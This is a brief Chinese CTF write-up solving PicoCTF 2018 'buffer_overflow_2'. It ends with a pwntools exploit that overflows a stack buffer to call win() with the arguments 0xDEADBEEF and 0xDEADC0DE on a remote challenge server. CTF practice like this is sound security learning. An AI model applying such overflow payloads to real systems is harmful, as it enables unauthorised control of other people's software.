PicoCTF_2018_buffer_overflow_2
使用checksec
查看:
开启了栈不可执行,放进IDA中查看,其实和PicoCTF_2018_buffer_overflow_1
没啥变化
唯一做了变动的是win()
函数:
上一题是直接跳到这个函数就能读取到flag,这题需要给win()
函数两个参数a1
、a2
- a1需要等于0xDEADBEEF
- a2需要等于0xDEADC0DE
才能读取到flag。
那么直接传参即可,秒了。
exp:
from pwn import *
#start
r = remote("node4.buuoj.cn",26088)
# r = process("../buu/PicoCTF_2018_buffer_overflow_2")
#params
win_addr = 0x80485CB
#attack
payload = b'M'*(0x6c + 4) + p32(win_addr) + b'M'*4 + p32(0xDEADBEEF) + p32(0xDEADC0DE)
r.recv()
r.sendline(payload)
r.interactive()